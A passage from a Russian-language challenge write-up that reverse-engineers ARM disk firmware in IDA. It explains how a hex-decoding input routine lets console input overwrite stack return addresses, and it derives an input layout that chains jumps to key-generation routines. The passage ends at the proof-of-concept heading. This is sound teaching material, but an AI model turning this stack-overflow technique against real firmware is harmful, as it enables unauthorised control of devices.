* **STMFD**, **LDMFD** (store/load multiple) делают то же самое, но туда можно запихнуть несколько регистров, и снять со стека несколько значений в рамках одной инструкции. И, кажись, указать, стоит ли подстраивать значение в **SP** в зависимости от количества впихнутых/снятых значений со **стека**. Опять же, прелести ARM архитектуры!
Я бы не объяснял это так детально, но понимание того, как устроен **стек**, и для чего он нужен - **критично** для взлома данного уровня. Без этого никуда!
Готовы? Ныряем!
---------------
Для того, чтоб что-то правильно сломать, нужно это правильно понять. Начнем с первых инструкций из level\_2.html.
```
...
13. ROM:00332D00 generate_key
14. ROM:00332D00
15. ROM:00332D00 var_28 = -0x28
16. ROM:00332D00
17. ROM:00332D00 PUSH {R4-R7,LR}
18. ROM:00332D02 SUB SP, SP, #0x10
19. ROM:00332D04 MOVS R7, R1
20. ROM:00332D06 MOVS R4, R2
21. ROM:00332D08 MOVS R5, R0
22. ROM:00332D0A LDR R1, =0x6213600 ; "R"...
23. ROM:00332D0C LDRB R0, [R1,#1]
24. ROM:00332D0E CMP R0, #0x31
25. ROM:00332D10 BNE loc_332D1A
26. ROM:00332D12 ADDS R0, R1, #2
27. ROM:00332D14 BLX ahex2byte
...
```
**Строка 17**. Первая инструкция это **PUSH**. Она сохраняет на **стек** переменные из регистров R4-R7 и LR на стек, то есть сохраняет предыдущий stack frame.
Дисклэймер: в отличии от всеми любимой bash консольки, где программы типа mv, cp используют схему аргументов *command source destination*, ассемблерные инструкции используют схему "*instruction destination source*". Единственным исключением является семейство инструкций для записи в память - STR.
**Строка 18**. Через SUB отнимаем 16 байт от **SP** (увеличиваем стек).
**Строка 19-21**. Копируем из регистров R0-R2 аргументы, которые были переданы в функцию generate\_key в их "рабочие" места в рамках текущей функции. Как видим, в прототипе (строка 9) было 3 аргумента. Регистров столько же. В предыдущем разделе я говорил, что аргументы падают на стек - это правда только в том случае, когда аргументов больше, чем 3 (или 4, уже не помню). Опять таки, лучше использовать регистры, чем ходить в память.
На этом моменте заканчивается процедура под названием **Function Prologue**. То есть, не происходит ничего, что касается программной логики, но, выполняется подготовка **стека** и локальных переменных. Мне кажется, именно по подобным шаблонам IDA Pro отличает **код** от **подпроцедур.**
**Строка 22**. Грузим адрес, который будет указывать на первый символ того, что мы вводим в консольник диска в регистр R1. Комментарий здесь очень полезен.
**Строка 23**. Семейство инструкций LDR предназначено для работы с памятью. Инструкция
`LDRB R0, [R1,#1] (Load Register Byte)`
берет то, что лежит в регистре R1, добавляет единицу (по сути, берет адрес второго вводимого символа), лезет в память по этому адресу (если значение в квадратных скобках, сначала надо интерпретировать эти данные как адрес памяти), берет 1 байт и сохраняет его в регистр R0. Мы забрали второй вводимый символ в R0.
**Строка 24-25**. Идет сравнение 2го вводимого символа с 0x31. В ASCII 0x31 это "1". Инструкция
`BNE loc_332D1A (Branch If Not Equal)`
выполнит прыжок на loc\_332D1A только в том случае, если мы ввели не единичку.
**Строка 26**. Добавляем к адресу наших вводимых данных двойку и сохраняем в R0. Инструкция с тремя операндами
`ADDS R0, R1, #2`
возьмет значение из R1, добавит в него двойку, и сохранит результат в R0. То есть, теперь адрес в R0 указывает на третий вводимый символ - "R1\_" (на то место, где underscore).
**Строка 27**. Здесь нас ждет безусловный прыжок на функцию ahex2byte. Но, это не просто прыжок. Инструкция
`BLX ahex2byte (Branch Link Exchange)`
кроме прыжка, делает еще 2 замечательные вещи - сохраняет адрес инструкции после текущего **PC** в **LR** (из-за "L" в BLX), и переключает нас в **ARM** режим (из-за "X" в BLX)! Внутри функции ahex2byte у нас будет 4 байта на инструкцию. В регистр R0 пишется первый аргумент при вызове функции. Получается, что мы запускаем функцию ahex2byte с одним единственным аргументом - адресом третьего вводимого символа.
Дабы подитожить, вот то, как предыдущий кусок выглядел бы в С-шном виде. **Этот код не скомпилируется и может быть неправильным**. Прошу экспертов меня поправить. Он чисто для наглядности:
```
void generate_key (key_part_num, integrity_validate_table, key_table) {
char *input = "R1_";
if (input[1] == "1") {
&input = &input + 2;
ahex2byte(&input);
}
else {
goto: loc_332D1A;
}
}
```
ахекс2байт
----------
В этом code-box представлен еще 1 кусок от level\_2.html - функция ahex2byte. Здесь я настоятельно рекомендую читателям скопировать содержимое спойлера себе в блокнот, и расположить окно слева (или справа, черт вас знает) от этой статьи, иначе прийдется очень много скроллить. В процессе чтения, поглядывайте на ASM код, и вам станет все ясно.
ahex2byte
```
...
137. ROM:00332DF8 ; =============== S U B R O U T I N E =======================================
138. ROM:00332DF8
139. ROM:00332DF8
140. ROM:00332DF8 ahex2byte ; CODE XREF: generate_key+14p
141. ROM:00332DF8 STMFD SP!, {R4-R6,LR}
142. ROM:00332DFC MOV R4, R0
143. ROM:00332E00 MOV R6, R0
144. ROM:00332E04
145. ROM:00332E04 loc_332E04 ; CODE XREF: ahex2byte+6Cj
146. ROM:00332E04 LDRB R0, [R4]
147. ROM:00332E08 CMP R0, #0xD
148. ROM:00332E0C BEQ loc_332E68
149. ROM:00332E10 BL sub_332E70
150. ROM:00332E14 CMN R0, #1
151. ROM:00332E18 BNE loc_332E2C
152. ROM:00332E1C LDRB R0, [R4]
153. ROM:00332E20 BL sub_332E98
154. ROM:00332E24 CMN R0, #1
155. ROM:00332E28 BEQ locret_332E6C
156. ROM:00332E2C
157. ROM:00332E2C loc_332E2C ; CODE XREF: ahex2byte+20j
158. ROM:00332E2C MOV R5, R0
159. ROM:00332E30 LDRB R0, [R4,#1]
160. ROM:00332E34 BL sub_332E70
161. ROM:00332E38 CMN R0, #1
162. ROM:00332E3C BNE loc_332E50
163. ROM:00332E40 LDRB R0, [R4,#1]
164. ROM:00332E44 BL sub_332E98
165. ROM:00332E48 CMN R0, #1
166. ROM:00332E4C BEQ locret_332E6C
167. ROM:00332E50
168. ROM:00332E50 loc_332E50 ; CODE XREF: ahex2byte+44j
169. ROM:00332E50 MOV R5, R5,LSL#4
170. ROM:00332E54 ADD R0, R5, R0
171. ROM:00332E58 STRB R0, [R6]
172. ROM:00332E5C ADD R4, R4, #2
173. ROM:00332E60 ADD R6, R6, #1
174. ROM:00332E64 B loc_332E04
175. ROM:00332E68 ; ---------------------------------------------------------------------------
176. ROM:00332E68
177. ROM:00332E68 loc_332E68 ; CODE XREF: ahex2byte+14j
178. ROM:00332E68 STRB R0, [R6]
179. ROM:00332E6C
180. ROM:00332E6C locret_332E6C ; CODE XREF: ahex2byte+30j
181. ROM:00332E6C ; ahex2byte+54j
182. ROM:00332E6C LDMFD SP!, {R4-R6,PC}
183. ROM:00332E6C ; End of function ahex2byte
184. ROM:00332E6C
185. ROM:00332E70
186. ROM:00332E70 ; =============== S U B R O U T I N E =======================================
187. ROM:00332E70
188. ROM:00332E70
189. ROM:00332E70 sub_332E70 ; CODE XREF: ahex2byte+18p
190. ROM:00332E70 ; ahex2byte+3Cp
191. ROM:00332E70 CMP R0, #0xD
192. ROM:00332E74 BEQ loc_332E90
193. ROM:00332E78 CMP R0, #0x30
194. ROM:00332E7C BLT loc_332E90
195. ROM:00332E80 CMP R0, #0x39
196. ROM:00332E84 BGT loc_332E90
197. ROM:00332E88 SUB R0, R0, #0x30
198. ROM:00332E8C B locret_332E94
199. ROM:00332E90 ; ---------------------------------------------------------------------------
200. ROM:00332E90
201. ROM:00332E90 loc_332E90 ; CODE XREF: sub_332E70+4j
202. ROM:00332E90 ; sub_332E70+Cj ...
203. ROM:00332E90 MVN R0, #0
204. ROM:00332E94
205. ROM:00332E94 locret_332E94 ; CODE XREF: sub_332E70+1Cj
206. ROM:00332E94 BX LR
207. ROM:00332E94 ; End of function sub_332E70
208. ROM:00332E94
209. ROM:00332E98
210. ROM:00332E98 ; =============== S U B R O U T I N E =======================================
211. ROM:00332E98
212. ROM:00332E98
213. ROM:00332E98 sub_332E98 ; CODE XREF: ahex2byte+28p
214. ROM:00332E98 ; ahex2byte+4Cp
215. ROM:00332E98 CMP R0, #0x41
216. ROM:00332E9C BLT loc_332EB4
217. ROM:00332EA0 CMP R0, #0x46
218. ROM:00332EA4 BGT loc_332EB4
219. ROM:00332EA8 SUB R0, R0, #0x41
220. ROM:00332EAC ADD R0, R0, #0xA
221. ROM:00332EB0 B locret_332EB8
222. ROM:00332EB4 ; ---------------------------------------------------------------------------
223. ROM:00332EB4
224. ROM:00332EB4 loc_332EB4 ; CODE XREF: sub_332E98+4j
225. ROM:00332EB4 ; sub_332E98+Cj
226. ROM:00332EB4 MVN R0, #0
227. ROM:00332EB8
228. ROM:00332EB8 locret_332EB8 ; CODE XREF: sub_332E98+18j
229. ROM:00332EB8 BX LR
230. ROM:00332EB8 ; End of function sub_332E98
231. ROM:00332EB8
232. ROM:00332EB8 ; ---------------------------------------------------------------------------
...
```
**Строка 141.** С помощью STMFD, мы сохраняем значения регистров R4-R6 и **LR** на стек - сохраняем stack frame.
**Строки 142-143**. Копируем первый аргумент (адрес третьего вводимого символа) в регистры R4 и R6. Причина такого поведения будет ясна по ходу статьи.
**Строка 146**. Идем по адресу в R4, и забираем наш третий символ в R0.
**Строка 147**. Инструкция
`CMP R0, #0xD`
сравнивает его с **0x0D**. **0x0D** это символ новой строки. Результат сравнения (успешный, или не успешный) записывается в один из битов регистра **CSPR** (уже не помню какой).
Стоит оговориться, что символ новой строки на разных системах выглядит по разному, но пока что я встречал только три (и чертовски благодарен, что только три):
* **0x0D** (Carriage Return) - Возврат Каретки (я, блин, не шучу)
* **0x0A** (Line Feed) - Новая Строка
* **0x0A** **0x0D** (CR LF) - все вместе
В общем, тот кто клонировал git репу себе на виндовую машину, а потом скопировал папку на что-то nix\*, поймет эту боль.
**Строка 148**. Инструкция
`BEQ loc_332E68 (Branch If Equal)`
является условным прыжком. Мы прыгнем только тогда, когда результат предыдущего сравнения будет успешным (Branch If Equal). Условие проверяется с помощью бита в регистре **CSPR**
В нашем случае, давайте допустим, что мы ввели 16 символов после R1:
`R1AAAAAAAAAAAAAAAA`
Если это так, прыжок на loc\_332E68 не случится - третий вводимый символ не является новой строкой.
**Строка 149**. Здесь мы видим безусловный прыжок на sub\_332E70. Этот прыжок сохраняет следующий адрес после **PC** в **LR**:
`BL sub_332E70`
**Строка 191**. Здесь, опять таки, проводится сравнение с символом новой строки, и если это так, на строке 192, мы прыгаем на loc\_332E90. Судя по тому, что мы ввели, символа новой строки у нас нету. Поэтому, прыжок не произойдет.
**Строка 193**. Проводится сравнение нашего символа с 0x30 - это ASCII "0". Сейчас мы проверяем символ "А" - это 0x41. Сравнение не было успешным.
**Строка 194**. Инструкция BLT (Branch If Less Than) прыгнет на loc\_332E90 только тогда, когда мы ввели значение меньше, чем 0x30 в предыдущем сравнении. В нашем случае, это не так. Прыжок не случится.
**Строка 195**. Проводится сравнение с 0x39 - это ASCII "9". Опять таки, сравнение не будет успешным, но инструкция BGT (Branch If Greater Than) на строке 196 отработает, и здесь, мы все-таки прыгаем на loc\_332E90.
**Строка 203**. Здесь мы видим инструкцию:
`MVN R0, #0`
MVN (Move Negative) сделает логическое "не" с нулем, и запишет **минус один** в R0. Дело в том, что любое значение у нас размером не в 1 бит (даже наш ноль). Оно, скорее всего, 32х битное. И, если перевернуть каждый бит в 32х битном нуле, получим 32 бита из единиц. По правилам **two's complement** (вспоминаем, или гуглим, что это), такое значение будет равняться **минус одному**.
**Строка 206**. Прыжок со сменой режима на адрес в **LR**. Последний раз, **LR** был "залинкован" на строке 149 - возвращаемся туда (то есть, на строку 150). Здесь стоит упомянуть, что смена режима - это довольно хитрая операция. Если адрес, куда мы прыгаем непарный, мы сменим режим на **Thumb**, а если он парный, переключимся в **ARM** (это касается только тех инструкций, которые содержат Exchange (X) параметр). Короче, хоть мы и видим BX, **смена режима не произойдет, и мы останемся в ARM**.
**Строка 150**. Инструкция
`CMN R0, #1 (Compare Negative)`
очень интересная. Внутренняя логика инструкций CMP и CMN реализована через отнимание, или добавление операндов. CMP работаем через отнимание. Процессор понимает, что сравниваемые числа равны, когда результат отнятия одного от другого будет 0. CMN реализован через добавление - то есть, для сравнения чисел нужно добавить один операнд к другому. Если получим 0 - принимаем такой результат как успешное сравнение.
Здесь, мы добавляем 1 к -1. Получим ноль. Сравнение будет успешным.
Конечно, все эти манипуляции с негативными числами не комфортно воспринимать, но поскольку компилятор решил зарулить инструкции так - значит, машине "комфортнее" работать с таким кодом. Здесь, как и в жизни, **ничего не бывает "просто так"!**
**Строка 151**. У нас BNE. Поскольку предыдущее сравнение было успешным, прыжок на loc\_332E2C не состоится.
**Строка 152**. Здесь, как и на строке 146, мы подгружаем 3й символ из нашего ввода в R0. Мы делаем это снова потому что дальше, будут случаи когда это необходимо.
**Строка 153**. Безусловный прыжок с "линковкой" в **LR** на sub\_332E98
**Строка 215**. Здесь мы делаем +- то же самое, что и с цифрами на sub\_332E70. Инструкция
`CMP R0, #0x41`
сравнит наш ввод с 0x41. 0x41 это ASCII "A". Наш 3й символ будет совпадать. Сравнение будет **успешным**!
**Строка 216**. Данный прыжок BLT не состоится, поскольку предыдущее сравнение было успешным.
**Строка 217.** Сравнение с 0x46 не увенчается успехом, и на строке 218 прыжок не состоится.
**Строка 219-220**. **Здесь максимальное внимание!** В итоге, на строке 215, мы наткнулись на успешное сравнение вводимых данных. Примерно здесь начинает отрабатывать логика функции ahex2byte. Инструкции
`SUB R0, R0, #0x41
ADD R0, R0, #0xA`
превратят наш вводимый hex символ в бинарный- **в этом и смысл этой функции**. Парочка примеров:
```
"A"
0x41 - 0x41 = 0x00
0x00 + 0x0A = 0x0A
"E"
0x45 - 0x41 = 0x04
0x04 + 0x0A = 0x0E
```
Результат этой операции сохранится в R0.
Если глянуть на строку 197, там мы отнимаем 0x30 - это в том случае, когда мы ввели ASCII цифру. Если глянете на ASCII таблицу, цифры от "0" до "9" имеют значения от 0x30 до 0x39. То есть, там происходит то же самое, что и с нашей буквой "А" здесь. Но, математика разная.
**Строка 221**. Здесь мы прыгнем на locret\_332EB8, а потом прыгнем на содержимое в **LR**. Последний раз мы его "линковали" на строке 153. Что же, возвращаемся на строку 154.
**Строка 154**. Опять таки, сравниваем результат в R0 с **минус единицей**. Поскольку, сравнение с символом "A" было успешным, текущее сравнение успешным не будет. По сути, подобное сравнение является проверкой на ошибку в подпроцедуре. Подпроцедура вернет **минус один** как раз в случае ошибки.
**Строка 155**. Прыжок на locret\_332E6C. Поскольку предыдущее сравнение не было успешным, он не состоится. Этот прыжок будет успешным только тогда, когда все сравнения чисел будут некорректными - к примеру, если после нашего "R1" мы введем символ "Q" (он вне диапазона всех наших сравнений). Данный прыжок указывает на инструкцию,
`LDMFD SP!, {R4-R6, PC}`
которая вернет предыдущий stack frame, и восстановит **PC** - это выход из функции ahex2byte.
**Строка 158**. В итоге, после конвертации ASCII числа в бинарное, мы записываем результат из R0 в регистр R5. На строке 21 мы копировали значение из R0 в R5. R0 является первым аргументом функции generate\_key - key\_part\_num. И, честно говоря, в этот момент, я уже было подумал, что понял как взломать этот уровень. Судя по логике этой функции, первый аргумент отвечает за номер ключа, который мы генерируем. В Function Prologue мы поместили key\_part\_num именно в R5. Я думал, что могу подстроить ввод данных таким образом, что запихну в R5 желаемое значение, и программа сама зарулит исполнение по ключам. В этом участвует логика на строках 44-64. Но, скажу сразу - **здесь я ошибся**.
**Строка 159**. Помним, что R4 указывает на 3й символ нашего ввода. Здесь мы смещаем этот адрес на единицу вперед, и забираем байт из памяти в R0 - то есть, берем уже 4й символ.
**Строка 160**. Прыжок на sub\_332E70. Сюда мы уже прыгали, когда проверяли 3й символ. Там происходит процесс сравнения с ASCII цифрой, и ее конвертация в бинарную.
**Строка 161**. Сравнение с **минус единицей**. Как я и говорил, проверяем результат сравнения символа с цифрой на ошибку.
**Строка 162**. Если ошибка есть, мы не прыгнем на loc\_332E50. Помним, что 4й символ нашего ввода - это ASCII "A". В нашем случае, ошибка будет.
**Строка 163-164**. Мы снова вгружаем тот же вводимый 4й символ в R0, и прыгаем на sub\_332E98 для проверки ASCII буквы
**Строка 165**. Опять таки, проверка на ошибку. В нашем случае, ошибки не будет, и ASCII буква сконвертируеться в бинарную.
**Строка 166**. Прыжок на locret\_332E6C не отработает, поскольку у нас не было ошибки
**Строка 169**. Здесь начинается самое интересное. Инструкция
`MOV R5, R5,LSL#4`
скопирует содержимое R5 само на себя, но перед этим совершит бинарный сдвиг влево на 4 позиции (Logical Shift Left). Как это выглядит на примере 32-битного значения цифры "A":
```
Before:
0000 0000 0000 0000 0000 0000 0000 1010 = 0x0A
After:
0000 0000 0000 0000 0000 0000 1010 0000 = 0xA0
```
**Строка 170**. Инструкция
`ADD R0, R5, R0`
добавит к R0 сдвинутое значение цифры в R5 и сохранит в R0
Получается, что после проверки и обработки 4го символа, на примере нашего ввода получится вот такое значение в R0:
```
0000 0000 0000 0000 0000 0000 1010 1010 = 0xAA
```
**Строка 171**. Инструкция
`STRB R0, [R6]`
возьмет значение из R0, и запишет 1 байт в адрес, куда указывает R6. Последний раз мы трогали R6 когда я только начал описывать всю функцию ahex2byte (во втором абзаце после спойлера). В нем содержится адрес 3го символа нашего ввода.
Мог бы понять суть по названию функции
--------------------------------------
Поняли, что здесь происходит? Мы обрабатываем и перезаписываем то, что ввели в консольник диска из hex значений в бинарные с шагом в 2 символа (при этом, первые 2 символа нашего ввода "R1AAA..." игнорируются). **Здесь очень важный момент!** Получается, что на 2 символа hex ввода (2 байта), мы в итоге получаем 1 бинарный байт. Пример:
```
ASCII "CE" (0x43 0x45) --> 0xCE
ASCII "F1" (0x46 0x31) --> 0xF1
```
**Строка 172**. Инструкции
```
ADD R4, R4, #2
ADD R6, R6, #1
```
сместят адреса наших вводимых символов соответственно. Для ASCII символов - 2 байта, а для уже обработанных, бинарных, на 1 байт.
**Строка 174**. Делаем безусловный прыжок на loc\_332E04 и процесс начинается по новой, но уже для следующих вводимых символов.
В конце концов, наш ввод закончится символом новой строки, и мы упремся в символ 0x0D на строке 147, совершим прыжок на loc\_332E68, где сохраним этот 0x0D в память, куда указывает R6, и сделаем полный возврат из ahex2byte.
**Весь наш ввод сконвертирован из ASCII в бинарный, и записан поверх самого себя!**
Дабы проиллюстрировать что же произошло с нашим вводом на примере с `R1AAAAAAAAAAAAAAAA`:
```
ASCII "R" = 0x52
ASCII "1" = 0x31
ASCII "A" = 0x41
Before:
ASCII: " R" " 1" " A" " A" " A" " A" " A" " A" ...
HEX: 0x52 0x31 0x41 0x41 0x41 0x41 0x41 0x41 ...
After:
ASCII: " R" " 1" " A" " A" " A" " A" " A" " A" ...
HEX: 0x52 0x31 0x0A 0x0A 0x0A 0x0A 0x0A 0x0A ...
```
Ныряем еще глубже. Что за ключи?
--------------------------------
Здесь советую сделать то же самое, что и с ahex2byte - скопируйте себе в блокнот и расположите рядом.
key\_part\*
```
...
065. ROM:00332D52 ; ---------------------------------------------------------------------------
066. ROM:00332D52
067. ROM:00332D52 key_part1
068. ROM:00332D52 LDR R0, [R4]
069. ROM:00332D54 MOVS R6, #1
070. ROM:00332D56 STR R6, [R7]
071. ROM:00332D58 BLX loc_332DEC
072. ROM:00332D5C CODE32
073. ROM:00332D5C
074. ROM:00332D5C key_part2
075. ROM:00332D5C LDR R6, [R7]
076. ROM:00332D60 CMP R6, #1
077. ROM:00332D64 LDREQ R1, [R4,#4]
078. ROM:00332D68 EOREQ R1, R1, R0
079. ROM:00332D6C MOVEQ R6, #1
080. ROM:00332D70 STREQ R6, [R7,#4]
081. ROM:00332D74 B loc_332DEC
082. ROM:00332D78 ; ---------------------------------------------------------------------------
083. ROM:00332D78
084. ROM:00332D78 key_part3
085. ROM:00332D78 LDR R6, [R7]
086. ROM:00332D7C CMP R6, #1
087. ROM:00332D80 LDREQ R6, [R7,#4]
088. ROM:00332D84 CMPEQ R6, #1
089. ROM:00332D88 LDREQ R2, [R4,#8]
090. ROM:00332D8C EOREQ R2, R2, R1
091. ROM:00332D90 MOVEQ R6, #1
092. ROM:00332D94 STREQ R6, [R7,#8]
093. ROM:00332D98 B loc_332DEC
094. ROM:00332D9C ; ---------------------------------------------------------------------------
095. ROM:00332D9C
096. ROM:00332D9C key_part4
097. ROM:00332D9C LDR R6, [R7]
098. ROM:00332DA0 CMP R6, #1
099. ROM:00332DA4 LDREQ R6, [R7,#4]
100. ROM:00332DA8 CMPEQ R6, #1
101. ROM:00332DAC LDREQ R6, [R7,#8]
102. ROM:00332DB0 CMPEQ R6, #1
103. ROM:00332DB4 LDREQ R3, [R4,#0xC]
104. ROM:00332DB8 EOREQ R3, R3, R2
105. ROM:00332DBC MOVEQ R6, #1
106. ROM:00332DC0 STREQ R6, [R7,#8]
107. ROM:00332DC4 LDR R4, =0x35A036 ; "Key Generated: %s%s%s%s"
108. ROM:00332DC8 BLX loc_332DDC
109. ROM:00332DCC MOV R1, SP
110. ROM:00332DD0 LDR R4, =0x35A05C ; "SP: %x"
111. ROM:00332DD4 BLX loc_332DDC
112. ROM:00332DD8 CODE16
113. ROM:00332DD8
114. ROM:00332DD8 loc_332DD8 ; CODE XREF: generate_key+2Ej
115. ROM:00332DD8 LDR R4, =0x35A020 ; "key not generated"
116. ROM:00332DDA NOP
117. ROM:00332DDC
118. ROM:00332DDC loc_332DDC ; CODE XREF: generate_key+C8p
119. ROM:00332DDC ; generate_key+D4p
120. ROM:00332DDC SUB SP, SP, #4
121. ROM:00332DDE STR R0, [SP,#0x28+var_28]
122. ROM:00332DE0 MOVS R0, R4
123. ROM:00332DE2 LDR R4, =0x68B08D
124. ROM:00332DE4 BLX R4
125. ROM:00332DE6 ADD SP, SP, #4
126. ROM:00332DE8 BLX loc_332DEC
127. ROM:00332DE8 ; End of function generate_key
...
```
Вспоминаем объявление функции на строке 9:
`generate_key(key_part_num, integrity_validate_table, key_table);`
Перед запуском функции, аргументы расставились в эти регистры (таковы правила передачи аргументов в функцию):
`key_part_num -> R0
integrity_validate_table -> R1
key_table -> R2`
После Function Prologue, на строках 19-21, эти данные ушли в регистры:
`key_part_num -> R5
integrity_validate_table -> R7
key_table -> R4`
Каждая часть ключа (в адресе на R4) генерируется с проверкой через таблицу целостности (по адресу R7). К примеру, строка 68
`LDR R0, [R4]`
грузит первый ключ в R0, но после, на строках 69-70, сохраняет единицу в таблицу целостности на R7:
`MOVS R6, #1
STR R6, [R7]`
Второй ключ (это уже код в **ARM** режиме) генерируется через EOREQ (по сути, XOR) с первым ключом, на строках 77-78:
`LDR R6, [R7]
CMP R6, #1
LDREQ R1, [R4,#4]
EOREQ R1, R1, R0`
Помним, что инструкции с приставкой -EQ исполнятся только тогда, когда результат предыдущего сравнения был успешным. На строках 75-76 мы делаем проверку той единицы, которую записали при генерации первого ключа
Поняли, что здесь происходит? Мало того, что второй ключ зависим от первого из-за EOREQ, так еще и генерация второго ключа будет успешна только тогда, когда мы сгенерировали первый.
**Все последующие ключи будут сгенерированы только в том случае, если мы сгенерировали предыдущие!**
Если глянете на код каждого из ключей - в каждом из них вы увидите все больше проверок целостности. При чем, каждая из проверок имеет сдвиг на 4 байта. Расстановка ключей в регистры R0-R3 сразу бросается в глаза.
Это накладывает на нас определенные ограничения - нам надо сгенерировать ключи **поочередно**.
Самым интересным является четвертый ключ. Кроме расстановки в R3, там происходит **печать всех ключей в консольник диска**:
**Строка 107**. Здесь мы грузим адрес format string "Key Generated: %s%s%s%s" в R4.
**Строка 108**. Прыжок с линковкой в **LR** на loc\_332DDC.
**Строка 120**. Готовимся прыгнуть на printf. Помните, я говорил, что если аргументов для функции больше, чем 4, нужно сохранить аргументы на стек? Здесь происходит именно это. От адреса **стека** отнимается 4 байта (стек увеличивается).
**Строка 121**. Здесь довольно длинная инструкция. На строке 15 мы видели переменную var\_28, которая равнялась -0x28. Здесь происходит расчёт сдвига от адреса в SP, и мы добавляем 0x28 к -0x28. Какой смысл в этой операции? Да абсолютно никакого. Дизассемблер принял определенное значение как переменную, и думал, что она является частью логики программы. Но, это не так.
Эта инструкция сохранит первый ключ на стек. Можем интерпретировать эту инструкцию как
`STR R0, [SP]`
**Строка 122**. Задвигаем адрес нашего format string в R0. Это будет первый аргумент для дальнейшего printf.
**Строки 123-126**. Грузим неизвестный доселе адрес в R4 - это и есть адрес printf. Прыгаем на него с линковкой в **LR**. После возврата с printf возвращаем адрес стека обратно на 4 байта и прыгаем на loc\_332DEC.
Где же дырка?
-------------
В этот момент я дал себе отчет, что понял как устроена программа, но найти то, как ее взломать было практически неподъемной задачей. Я копался с этим несколько дней пока не принял решение сдаться, и запросил у ребят из RedBalloonSecurity подсказку (которая у меня, всего на всего, одна!). Меня спросили единственный вопрос - что я вижу на строке 135. Один единственный вопрос решил судьбу. В моей голове тут же сложилась вся картина!
**Строка 47**. Помним, что после функции ahex2byte, наш ввод был сконвертирован в бинарный.
```
...
47. ROM:00332D14 BLX ahex2byte
48. ROM:00332D18 LDR R1, =0x6213600
49. ROM:00332D1A
50. ROM:00332D1A loc_332D1A ; CODE XREF: generate_key+10j
51. ROM:00332D1A MOV R2, SP
52. ROM:00332D1C
53. ROM:00332D1C loc_332D1C ; CODE XREF: generate_key+28j
54. ROM:00332D1C LDRB R6, [R1]
55. ROM:00332D1E ADDS R1, R1, #1
56. ROM:00332D20 CMP R6, #0xD
57. ROM:00332D22 BEQ loc_332D2A
58. ROM:00332D24 STRB R6, [R2]
59. ROM:00332D26 ADDS R2, R2, #1
60. ROM:00332D28 B loc_332D1C
61. ROM:00332D2A ; ---------------------------------------------------------------------------
...
```
**Строка 48**. Поскольку, перед вызовом ahex2byte мы сдвигали адрес нашего ввода на 2 байта вперед, мы снова помещаем адрес нашего ввода (начиная с первого символа) в R1.
**Строка 51**. Копируем адрес нашего **SP** в **R2**.
**Строка 54**. Берем первый символ нашего, уже сконвертированного, ввода, и грузим его в регистр R6
**Строка 55**. Сдвигаем адрес вводимого символа на 1 позицию вперед - по сути, в R1 уже адрес второго символа.
**Строка 56**. Сравниваем его с символом новой строки.
**Строка 57**. Если это новая строка, прыгаем на loc\_332D2A. Этот адрес является куском логики нашей функции generate\_key. То, что происходит на этих строках не имеет никакой связи со взломом, поэтому рассказывать детально, что там происходит, я не буду.
**Строка 58**. Сохраняем символ нашего ввода по адресу в R2. В последний раз мы записывали в R2 адрес нашего stack pointer. То есть, мы ввели что-то ручками в консольник, сконвертировали наш ASCII ввод в бинарный с помощью ahex2byte, а потом записали это на стек.
**Строка 59**. Добавляем к адресу вводимого символа единицу (переключаемся на следующий символ)
**Строка 60**. Это цикл. Благодаря этому безусловному прыжку, мы возвращаемся на строку 54 и процесс копирования ввода на стек продолжается. Поскольку единственным условием выхода из цикла является символ новой строки, мы можем вводить в консольник сколько угодно данных. В конце концов цикл упрется в символ новой строки, и программа продолжит свое исполнение.
После каждого ключа, на строках 71, 81, 93, и 126 мы видим прыжок вот сюда.
```
...
131. ROM:00332DEC loc_332DEC ; CODE XREF: generate_key+58p
132. ROM:00332DEC ; generate_key+74j ...
133. ROM:00332DEC ADD SP, SP, #0x20
134. ROM:00332DF0 LDR LR, [SP],#4
135. ROM:00332DF4 BX LR
...
```
**Строка 133**. Здесь происходит уничтожение stack frame - адрес **SP** увеличивается на 32 байта (здесь видим ADD, но, помним, да? **Стек** растет вниз! Адрес увеличивается, но сам **стек** уменьшается).
**Строка 134**. Грузим адрес, который сохраняли перед вызовом generate\_key (сохранение этого адреса на стек происходило до запуска generate\_key, и дизассемблированный код мы не видим) из **SP** (со сдвигом в 4 байта) в **LR**.
**Строка 135**. Прыгаем на этот адрес, который взяли со стека - это полный возврат из функции generate\_key.
Если мы правильно рассчитаем количество вводимых данных, мы сможем перезаписать адрес на стеке, куда в итоге, должно вернутся исполнение кода после функции generate\_key (строка 135).
А вот самый большой прикол! Прыжок на loc\_332DEC есть в конце каждого ключа. Там мы уничтожаем stack frame и делаем возврат. Получается, что если мы абьюзим адрес возврата 1 раз, мы, так или иначе, опять прыгаем на loc\_332DEC, где от стека снова отнимается 32 байта, опять снимается значение со стека в **LR**, и опять выполняется возврат. Получается, что мы можем ввести несколько адресов подряд так, чтобы несколько раз "вернуть" исполнение программы по желаемому адресу. Это и есть способ сгенерировать все ключи в нужном порядке.
Поскольку, пока мы доберемся к нашему заабьюзеному участку стека, первый ключ уже будет сгенерирован, нам нужно прыгнуть на 3 адреса - key\_part2, key\_part3 & key\_part4.
Делаем математику
-----------------
Для правильного расчета нам понадобятся все манипуляции со значением в **SP**.
**Строка 18**. Здесь значение **SP** уменьшается на 16 байт. Но, это можно игнорировать, поскольку оно происходит до начала записи нашего ввода на **стек**.
**Строка 51**. Здесь значение **SP** не изменяется.
**Строки 109, 120, 121 и 125.** Эти манипуляции с **SP** происходят на четвертом ключе, и мы их не коснемся пока не зарулим программу в нужное русло. Игнорируем.
**Строки 141 и 182**. Это является частью функции ahex2byte. Наш **SP** меняется при входе в функцию ровно так же, как и при выходе. Изменений нет - игнорируем.
**Строка 133**. А вот это уже имеет значение. Стек будет увеличиваться на эти 32 байта после каждого сгенерированного ключа.
Получается, что мы должны ввести:
[32 байта][адрес 2го ключа][32 байта][адрес 3го ключа][32 байта][адрес 4го ключа]
Думаем о следующем:
* ahex2byte конвертирует 2 байта нашего ASCII ввода в 1 бинарный байт. Это значит, что для получения 32-х байт, нам необходимо ввести 64 символа.
* Первые 2 вводимых символа мы не конвертировали - в памяти на стеке они представляют собой 2 байта, а не 1.
* Мы работаем с **little endian** архитектурой. Все адреса ключей нужно писать в обратном порядке байт.
Адреса ключей:
```
key_part2:
00332D5C --> 5C2D3300
key_part3:
00332D78 --> 782D3300
key_part4:
00332D9C --> 9C2D3300
```
Получается:
["R1"][60 символов]["5C2D3300"][64 символа]["782D3300"][64 символа]["9C2D3300"]
Proof-Of-Concept
----------------
Итак, вводим следующее в консольник диска:
```
